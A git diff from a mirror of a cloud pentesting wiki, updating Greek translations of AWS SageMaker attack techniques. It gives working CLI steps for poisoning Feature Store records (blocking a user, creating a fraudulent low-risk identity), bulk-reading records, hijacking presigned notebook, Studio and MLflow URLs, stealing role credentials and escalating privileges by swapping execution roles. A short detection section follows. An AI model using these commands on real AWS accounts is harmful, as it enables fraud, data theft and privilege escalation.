mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-services/aws-sagemake
This commit is contained in:
+143
-33
@@ -1,50 +1,160 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Κακοποιήστε το `sagemaker:PutRecord` σε ένα Feature Group με ενεργοποιημένο OnlineStore για να αντικαταστήσετε ζωντανές τιμές χαρακτηριστικών που καταναλώνονται από online inference. Σε συνδυασμό με το `sagemaker:GetRecord`, ένας επιτιθέμενος μπορεί να διαβάσει ευαίσθητα χαρακτηριστικά. Αυτό δεν απαιτεί πρόσβαση σε models ή endpoints.
|
||||
Κατάχρηση του `sagemaker:PutRecord` σε ένα Feature Group με ενεργοποιημένο το OnlineStore για να αντικαταστήσετε ζωντανές τιμές χαρακτηριστικών που χρησιμοποιούνται από online inference. Σε συνδυασμό με το `sagemaker:GetRecord`, ένας επιτιθέμενος μπορεί να διαβάσει ευαίσθητα χαρακτηριστικά και να εξάγει εμπιστευτικά ML δεδομένα. Αυτό δεν απαιτεί πρόσβαση σε μοντέλα ή endpoints, καθιστώντας το μια άμεση επίθεση σε επίπεδο δεδομένων.
|
||||
|
||||
## Requirements
|
||||
## Απαιτήσεις
|
||||
- Δικαιώματα: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Στόχος: Feature Group με ενεργοποιημένο OnlineStore (συνήθως υποστηρίζει real-time inference)
|
||||
- Στόχος: Feature Group με OnlineStore ενεργοποιημένο (συνήθως υποστηρίζει real-time inference)
|
||||
- Πολυπλοκότητα: **LOW** - Απλές εντολές AWS CLI, δεν απαιτείται χειρισμός μοντέλων
|
||||
|
||||
## Steps
|
||||
1) Επιλέξτε ή δημιουργήστε ένα μικρό Online Feature Group για δοκιμές
|
||||
## Βήματα
|
||||
|
||||
### Αναγνώριση
|
||||
|
||||
1) Καταγράψτε τα Feature Groups με ενεργοποιημένο το OnlineStore
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
--region $REGION \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Περιγράψτε ένα target Feature Group για να κατανοήσετε το σχήμα του
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Σημειώστε τα `RecordIdentifierFeatureName`, `EventTimeFeatureName`, και όλους τους ορισμούς χαρακτηριστικών. Αυτά απαιτούνται για τη σύνταξη έγκυρων εγγραφών.
|
||||
|
||||
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) Διαβάστε την τρέχουσα νόμιμη εγγραφή
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Poison the record με κακόβουλες τιμές χρησιμοποιώντας την inline παράμετρο `--record`
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Επαληθεύστε τα poisoned data
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Επίδραση**: Τα ML μοντέλα που χρησιμοποιούν αυτό το χαρακτηριστικό θα βλέπουν τώρα `risk_score=0.99` για έναν νόμιμο χρήστη, ενδεχομένως αποκλείοντας τις συναλλαγές ή τις υπηρεσίες του.
|
||||
|
||||
### Σενάριο Επίθεσης 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
Εισαγωγή εντελώς νέων εγγραφών με χειραγωγημένα χαρακτηριστικά για την παράκαμψη των μηχανισμών ασφαλείας:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Create fake user with artificially low risk to perform fraudulent transactions
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Επαληθεύστε την injection:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Επίπτωση**: Ο επιτιθέμενος δημιουργεί μια ψεύτικη ταυτότητα με χαμηλό σκορ κινδύνου (0.01) που μπορεί να εκτελέσει απατηλές συναλλαγές μεγάλης αξίας χωρίς να ενεργοποιήσει την ανίχνευση απάτης.
|
||||
|
||||
### Σενάριο Επίθεσης 3: Εξαγωγή Ευαίσθητων Δεδομένων
|
||||
|
||||
Ανάγνωση πολλαπλών εγγραφών για να εξαγάγετε εμπιστευτικά χαρακτηριστικά και να αποτυπώσετε τη συμπεριφορά του μοντέλου:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
echo "Exfiltrating data for ${USER_ID}:"
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Επίπτωση**: Εμπιστευτικά χαρακτηριστικά (risk scores, transaction patterns, προσωπικά δεδομένα) εκτίθενται σε επιτιθέμενο.
|
||||
|
||||
### Δημιουργία δοκιμαστικού/Demo Feature Group (Προαιρετικό)
|
||||
|
||||
Εάν χρειάζεται να δημιουργήσετε ένα δοκιμαστικό Feature Group:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
FG=test-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
|
||||
aws sagemaker create-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-feature-name entity_id \
|
||||
--event-time-feature-name event_time \
|
||||
--feature-definitions "[
|
||||
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
|
||||
]" \
|
||||
--online-store-config "{\"EnableOnlineStore\":true}" \
|
||||
--role-arn "$ROLE_ARN"
|
||||
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) Εισαγωγή/αντικατάσταση μιας online εγγραφής (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) Διάβασε ξανά την εγγραφή για να επιβεβαιώσεις την τροποποίηση
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
Αναμενόμενο: risk_score επιστρέφει 0.99 (attacker-set), αποδεικνύοντας την ικανότητα αλλαγής των online χαρακτηριστικών που χρησιμοποιούνται από μοντέλα.
|
||||
|
||||
## Impact
|
||||
- Real-time integrity attack: παραποίηση των χαρακτηριστικών που χρησιμοποιούνται από μοντέλα παραγωγής χωρίς να επηρεαστούν τα endpoints/μοντέλα.
|
||||
- Confidentiality risk: ανάγνωση ευαίσθητων χαρακτηριστικών μέσω GetRecord από το OnlineStore.
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Ανίχνευση
|
||||
|
||||
Παρακολουθήστε το CloudTrail για ύποπτα πρότυπα:
|
||||
- `PutRecord` events from unusual IAM principals or IP addresses
|
||||
- Υψηλή συχνότητα κλήσεων `PutRecord` ή `GetRecord`
|
||||
- `PutRecord` με ανώμαλες τιμές χαρακτηριστικών (π.χ., risk_score εκτός του φυσιολογικού εύρους)
|
||||
- Μαζικές λειτουργίες `GetRecord` που υποδεικνύουν mass exfiltration
|
||||
- Πρόσβαση εκτός κανονικών ωρών εργασίας ή από απροσδόκητες τοποθεσίες
|
||||
|
||||
Εφαρμόστε ανίχνευση ανωμαλιών:
|
||||
- Επικύρωση τιμών χαρακτηριστικών (π.χ., risk_score πρέπει να είναι 0.0-1.0)
|
||||
- Ανάλυση προτύπων εγγραφής (συχνότητα, χρονισμός, ταυτότητα πηγής)
|
||||
- Ανίχνευση μετατόπισης δεδομένων (αιφνίδιες αλλαγές στις κατανομές χαρακτηριστικών)
|
||||
|
||||
## Αναφορές
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
+227
-38
@@ -6,34 +6,117 @@
|
||||
|
||||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Ξεκινήστε τη δημιουργία ενός notebook με το IAM Role επισυνάμενο σε αυτό:
|
||||
Ξεκινήστε τη δημιουργία ενός notebook με το IAM Role που επισυνάπτεται σε αυτό:
|
||||
```bash
|
||||
aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
Η απόκριση θα πρέπει να περιέχει ένα πεδίο `NotebookInstanceArn`, το οποίο θα περιέχει το ARN του νεοδημιουργημένου notebook instance. Στη συνέχεια μπορούμε να χρησιμοποιήσουμε το API `create-presigned-notebook-instance-url` για να δημιουργήσουμε ένα URL που μπορούμε να χρησιμοποιήσουμε για να αποκτήσουμε πρόσβαση στο notebook instance μόλις είναι έτοιμο:
|
||||
Η απάντηση θα πρέπει να περιέχει ένα πεδίο `NotebookInstanceArn`, το οποίο θα περιέχει το ARN του νεοδημιουργημένου notebook instance. Στη συνέχεια, μπορούμε να χρησιμοποιήσουμε το API `create-presigned-notebook-instance-url` για να δημιουργήσουμε ένα URL που μπορούμε να χρησιμοποιήσουμε για να αποκτήσουμε πρόσβαση στο notebook instance μόλις είναι έτοιμο:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
Πλοηγηθείτε στη διεύθυνση URL με το πρόγραμμα περιήγησης και κάντε κλικ στο `Open JupyterLab`` επάνω δεξιά, στη συνέχεια μεταβείτε προς τα κάτω στην καρτέλα “Launcher” και κάτω από την ενότητα “Other”, κάντε κλικ στο κουμπί “Terminal”.
|
||||
Πλοηγηθείτε στη διεύθυνση URL με το πρόγραμμα περιήγησης και κάντε κλικ στο `Open JupyterLab`` επάνω δεξιά, στη συνέχεια κατεβείτε στην καρτέλα “Launcher” και κάτω από την ενότητα “Other”, κάντε κλικ στο κουμπί “Terminal”.
|
||||
|
||||
Τώρα μπορείτε να αποκτήσετε πρόσβαση στα metadata credentials του IAM Role.
|
||||
Τώρα είναι δυνατό να αποκτήσετε πρόσβαση στα metadata credentials του IAM Role.
|
||||
|
||||
**Potential Impact:** Privesc to the sagemaker service role specified.
|
||||
**Πιθανός Αντίκτυπος:** Privesc στο sagemaker service role που καθορίζεται.
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Εάν υπάρχουν Jupyter **notebooks που τρέχουν ήδη** σε αυτό και μπορείτε να τα απαριθμήσετε με `sagemaker:ListNotebookInstances` (ή να τα εντοπίσετε με οποιονδήποτε άλλο τρόπο). Μπορείτε να **δημιουργήσετε ένα URL για αυτά, να αποκτήσετε πρόσβαση και να κλέψετε τα credentials όπως υποδεικνύεται στην προηγούμενη τεχνική**.
|
||||
Εάν υπάρχουν Jupyter **notebooks ήδη σε λειτουργία** σε αυτό και μπορείτε να τα απαριθμήσετε με `sagemaker:ListNotebookInstances` (ή να τα εντοπίσετε με οποιονδήποτε άλλο τρόπο). Μπορείτε να **δημιουργήσετε ένα URL για αυτά, να αποκτήσετε πρόσβαση και να κλέψετε τα διαπιστευτήρια όπως υποδείχθηκε στην προηγούμενη τεχνική**.
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
**Potential Impact:** Privesc στον συνημμένο ρόλο υπηρεσίας sagemaker.
|
||||
**Πιθανός Αντίκτυπος:** Privesc to the sagemaker service role attached.
|
||||
|
||||
|
||||
## `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτή η επίθεση λειτουργεί μόνο σε παλιά, παραδοσιακά SageMaker Studio domains, όχι σε αυτά που έχουν δημιουργηθεί από το SageMaker Unified Studio. Domains από το Unified Studio θα επιστρέψουν το σφάλμα: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
|
||||
|
||||
Μια ταυτότητα με άδεια να καλεί `sagemaker:CreatePresignedDomainUrl` σε ένα στοχευμένο Studio `UserProfile` μπορεί να δημιουργήσει ένα login URL που αυθεντικοποιεί απευθείας στο SageMaker Studio ως το συγκεκριμένο profile. Αυτό δίνει στο πρόγραμμα περιήγησης του επιτιθέμενου μια Studio συνεδρία που κληρονομεί τα δικαιώματα `ExecutionRole` του profile και πλήρη πρόσβαση στο EFS-backed home και τις apps του profile. Δεν απαιτείται `iam:PassRole` ή πρόσβαση στο console.
|
||||
|
||||
**Απαιτήσεις**:
|
||||
- Ένα SageMaker Studio `Domain` και ένα στοχευμένο `UserProfile` εντός αυτού.
|
||||
- Το principal του επιτιθέμενου χρειάζεται `sagemaker:CreatePresignedDomainUrl` στο στοχευμένο `UserProfile` (resource‑level) ή `*`.
|
||||
|
||||
Ελάχιστο παράδειγμα policy (περιορισμένο σε ένα UserProfile):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
**Βήματα Κατάχρησης**:
|
||||
|
||||
1) Καταγράψτε ένα Studio Domain και UserProfiles που μπορείτε να στοχεύσετε
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) Ελέγξτε αν δεν χρησιμοποιείται το unified studio (η επίθεση λειτουργεί μόνο σε παραδοσιακούς τομείς του SageMaker Studio)
|
||||
```bash
|
||||
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
|
||||
# If you get info about unified studio, this attack won't work
|
||||
```
|
||||
3) Δημιουργήστε ένα presigned URL (έγκυρο για ~5 λεπτά κατά προεπιλογή)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
4) Ανοίξτε το επιστρεφόμενο URL σε ένα πρόγραμμα περιήγησης για να συνδεθείτε στο Studio ως ο χρήστης-στόχος. Σε ένα τερματικό Jupyter μέσα στο Studio επαληθεύστε την ενεργή ταυτότητα ή εξάγετε το token:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Σημειώσεις:
|
||||
- `--landing-uri` μπορεί να παραληφθεί. Ορισμένες τιμές (π.χ. `app:JupyterLab:/lab`) ενδέχεται να απορριφθούν ανάλογα με το flavor/έκδοση του Studio; οι προεπιλογές συνήθως ανακατευθύνουν στην αρχική σελίδα του Studio και στη συνέχεια στο Jupyter.
|
||||
- Οι πολιτικές του Org/VPC endpoint περιορισμοί ενδέχεται ακόμα να μπλοκάρουν την πρόσβαση στο δίκτυο· το token minting δεν απαιτεί σύνδεση στην κονσόλα ή `iam:PassRole`.
|
||||
|
||||
**Potential Impact**: Lateral movement and privilege escalation by assuming any Studio `UserProfile` whose ARN is permitted, inheriting its `ExecutionRole` and filesystem/apps.
|
||||
|
||||
|
||||
### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
|
||||
|
||||
Μια ταυτότητα με δικαίωμα να καλεί `sagemaker:CreatePresignedMlflowTrackingServerUrl` (και `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` για μετέπειτα πρόσβαση) για έναν στοχευμένο SageMaker MLflow Tracking Server μπορεί να δημιουργήσει ένα μονοχρηστικό presigned URL που αυθεντικοποιείται απευθείας στο managed MLflow UI για εκείνον τον server. Αυτό παρέχει την ίδια πρόσβαση που θα είχε ένας νόμιμος χρήστης στον server (προβολή/δημιουργία experiments και runs, και λήψη/ανέβασμα artifacts στο S3 artifact store του server).
|
||||
|
||||
**Απαιτήσεις:**
|
||||
- Ένας SageMaker MLflow Tracking Server στον λογαριασμό/περιοχή και το όνομά του.
|
||||
- The attacker principal needs `sagemaker:CreatePresignedMlflowTrackingServerUrl` on the target MLflow Tracking Server resource (or `*`).
|
||||
|
||||
**Βήματα Κατάχρησης**:
|
||||
|
||||
1) Καταγράψτε τους MLflow Tracking Servers που μπορείτε να στοχεύσετε και επιλέξτε ένα όνομα
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) Δημιουργήστε ένα presigned MLflow UI URL (έγκυρο για σύντομο χρονικό διάστημα)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Ανοίξτε το επιστρεφόμενο URL σε έναν browser για να αποκτήσετε πρόσβαση στο MLflow UI ως αυθεντικοποιημένος χρήστης για τον συγκεκριμένο Tracking Server.
|
||||
|
||||
**Πιθανές Επιπτώσεις:** Άμεση πρόσβαση στο διαχειριζόμενο MLflow UI για τον στοχευμένο Tracking Server, επιτρέποντας την προβολή και τροποποίηση των experiments/runs και την ανάκτηση ή μεταφόρτωση των artifacts που αποθηκεύονται στο διαμορφωμένο S3 artifact store του server, εντός των δικαιωμάτων που επιβάλλει η διαμόρφωση του server.
|
||||
|
||||
|
||||
### `sagemaker:CreateProcessingJob`, `iam:PassRole`
|
||||
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να αναγκάσει το **SageMaker να εκτελέσει μια εργασία επεξεργασίας** με έναν ρόλο SageMaker συνημμένο σε αυτήν. Επαναχρησιμοποιώντας ένα από τα AWS Deep Learning Containers που ήδη περιέχουν Python (και εκτελώντας το job στην ίδια περιοχή με το URI), μπορείς να εκτελέσεις κώδικα inline χωρίς να κατασκευάσεις δικές σου εικόνες:
|
||||
An attacker with those permissions can make **SageMaker execute a processing job** with a SageMaker role attached to it. Επαναχρησιμοποιώντας ένα από τα AWS Deep Learning Containers που ήδη περιλαμβάνει Python (και εκτελώντας το job στην ίδια region με το URI), μπορείς να τρέξεις κώδικα inline χωρίς να χτίσεις δικές σου εικόνες:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-arn-role>
|
||||
@@ -49,11 +132,11 @@ aws sagemaker create-processing-job \
|
||||
|
||||
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
|
||||
```
|
||||
**Πιθανός Αντίκτυπος:** Privesc to the sagemaker service role specified.
|
||||
**Potential Impact:** Privesc στον sagemaker ρόλο υπηρεσίας που αναφέρεται.
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να ξεκινήσει ένα training job που εκτελεί αυθαίρετο κώδικα με το καθορισμένο role. Χρησιμοποιώντας ένα επίσημο container του SageMaker και υπεργράφοντας το entrypoint με ένα inline payload, δεν χρειάζεται να δημιουργήσεις δικές σου images:
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να ξεκινήσει ένα training job που εκτελεί αυθαίρετο κώδικα με τον ρόλο που υποδεικνύεται. Χρησιμοποιώντας ένα επίσημο container του SageMaker και αντικαθιστώντας το entrypoint με ένα inline payload, δεν χρειάζεται να χτίσεις δικά σου images:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -73,11 +156,11 @@ aws sagemaker create-training-job \
|
||||
|
||||
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
|
||||
```
|
||||
**Potential Impact:** Privesc στον συγκεκριμένο ρόλο υπηρεσίας του SageMaker.
|
||||
**Πιθανός Αντίκτυπος:** Privesc στον συγκεκριμένο service role του SageMaker.
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Ένας attacker με αυτά τα δικαιώματα μπορεί να ξεκινήσει ένα HyperParameter Tuning Job που εκτελεί attacker-controlled code υπό τον παρεχόμενο ρόλο. Το Script mode απαιτεί τη φιλοξενία του payload στο S3, αλλά όλα τα βήματα μπορούν να αυτοματοποιηθούν από το CLI:
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να ξεκινήσει ένα HyperParameter Tuning Job που εκτελεί κώδικα ελεγχόμενο από τον επιτιθέμενο υπό τον παρεχόμενο ρόλο. Το Script mode απαιτεί το hosting του payload στο S3, αλλά όλα τα βήματα μπορούν να αυτοματοποιηθούν από το CLI:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -183,28 +266,29 @@ aws sagemaker create-hyper-parameter-tuning-job \
|
||||
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
|
||||
--training-job-definition file:///tmp/hpo-definition.json
|
||||
```
|
||||
Κάθε training που εκκινείται από τη διαδικασία τυπώνει τη μετρική και εξάγει τα credentials του συγκεκριμένου role.
|
||||
Κάθε training που εκκινείται από τη διαδικασία εκτυπώνει τη μετρική και εξάγει τα credentials του υποδεικνυόμενου role.
|
||||
|
||||
|
||||
### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (no `iam:PassRole`)
|
||||
### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
Προτεραιότητα του ExecutionRole:
|
||||
Με την άδεια να ενημερώσει ένα SageMaker Studio προφίλ χρήστη, να δημιουργήσει μια app, ένα presigned URL προς την app και `iam:PassRole`, ένας επιτιθέμενος μπορεί να ορίσει το `ExecutionRole` σε οποιονδήποτε IAM role που το SageMaker service principal μπορεί να υποθέσει. Νέες Studio apps που ξεκινούν για αυτό το προφίλ θα τρέχουν με τον αντικαταστημένο role, παρέχοντας διαδραστικά αυξημένα δικαιώματα μέσω Jupyter terminals ή jobs που ξεκινούν από το Studio.
|
||||
|
||||
- `UserProfile` αντικαθιστά οποιαδήποτε τιμή. Αν ένα προφίλ ορίζει το `ExecutionRole`, το Studio θα χρησιμοποιήσει πάντα αυτό το role.
|
||||
- `Space` εφαρμόζεται μόνο όταν το προφίλ δεν έχει δικό του role· διαφορετικά υπερισχύει αυτό του προφίλ.
|
||||
- `Domain DefaultUserSettings` λειτουργεί ως έσχατη λύση όταν ούτε το `UserProfile` ούτε το `Space` ορίζουν role.
|
||||
|
||||
Με δικαιώματα για ενημέρωση (update) ενός SageMaker Studio User Profile (ή Space/Domain), ένας attacker μπορεί να ορίσει το `ExecutionRole` σε οποιοδήποτε IAM role που το SageMaker service principal μπορεί να αναλάβει. Σε αντίθεση με τις job-creation APIs, οι Studio profile update APIs δεν απαιτούν `iam:PassRole`. Νέες Studio apps που εκκινούν για αυτό το profile θα τρέξουν με το swapped role, παρέχοντας interactive elevated permissions μέσω Jupyter terminals ή μέσω jobs που ξεκινούν από το Studio.
|
||||
> [!WARNING]
|
||||
> This attack requires that there are no applications in the profile or the app creation will fail with an error similar to: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
|
||||
> If there is any app you will need `sagemaker:DeleteApp` permission to delete them first.
|
||||
|
||||
Βήματα:
|
||||
```bash
|
||||
# 1) List Studio user profiles and pick a target
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 2) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
# 3) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
aws sagemaker update-user-profile \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
@@ -215,18 +299,59 @@ aws sagemaker describe-user-profile \
|
||||
--user-profile-name <USER> \
|
||||
--query 'UserSettings.ExecutionRole' --output text
|
||||
|
||||
# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
|
||||
aws sagemaker update-space \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--space-settings ExecutionRole=$ROLE_ARN
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
aws sagemaker describe-space \
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
